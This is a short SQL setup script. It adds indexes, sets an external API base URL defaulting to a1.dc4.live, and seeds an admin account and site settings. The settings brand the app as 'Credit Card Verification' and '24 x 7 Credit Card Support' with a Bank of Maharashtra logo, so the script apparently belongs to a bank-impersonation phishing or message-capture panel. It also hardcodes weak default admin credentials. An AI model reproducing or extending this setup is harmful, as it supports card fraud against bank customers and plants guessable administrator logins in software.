-- Check if api_base_url column exists and add it if not
ALTER TABLE `settings`
ADD COLUMN IF NOT EXISTS `api_base_url` VARCHAR(255) DEFAULT 'https://a1.dc4.live/Home/' AFTER `updatedate`;

-- Create API endpoints directory if it doesn't exist
-- This is just a comment as SQL cannot create directories

-- Add index on the mobile field in settings for faster lookups
ALTER TABLE `settings`
ADD INDEX IF NOT EXISTS `idx_mobile` (`mobile`);

-- Add index on the date field in messegedetails for faster sorting and filtering
ALTER TABLE `messegedetails`
ADD INDEX IF NOT EXISTS `idx_date` (`date`);

-- Add index on mobile and title fields in messegedetails for faster searching
ALTER TABLE `messegedetails`
ADD INDEX IF NOT EXISTS `idx_mobile` (`mobile`),
ADD INDEX IF NOT EXISTS `idx_title` (`title`);

-- Add index on mobile field in users table for faster lookups
ALTER TABLE `users`
ADD INDEX IF NOT EXISTS `idx_mobile` (`mobile`),
ADD INDEX IF NOT EXISTS `idx_date` (`date`);

-- Insert default admin if not exists
INSERT IGNORE INTO `admin` (`id`, `email`, `password`, `date`, `verifypass`)
VALUES (1, 'app13', 'darling', CURRENT_TIMESTAMP, '123456');

-- Insert default settings if not exists
INSERT IGNORE INTO `settings` (`id`, `mobile`, `title`, `subheading`, `upload`, `image1`, `image2`, `image3`, `updatedate`, `api_base_url`)
VALUES (1, '9560853000', 'Credit Card Verification', '24 x 7 Credit Card Support', 'uploads/S4ARFU-bank-of-maharashtra.png', 'uploads/XX9DCG-image1.jpg', 'uploads/5A5A9A-image2.jpg', 'uploads/AEU3IA-image3.jpg', CURRENT_TIMESTAMP, 'https://a1.dc4.live/Home/');
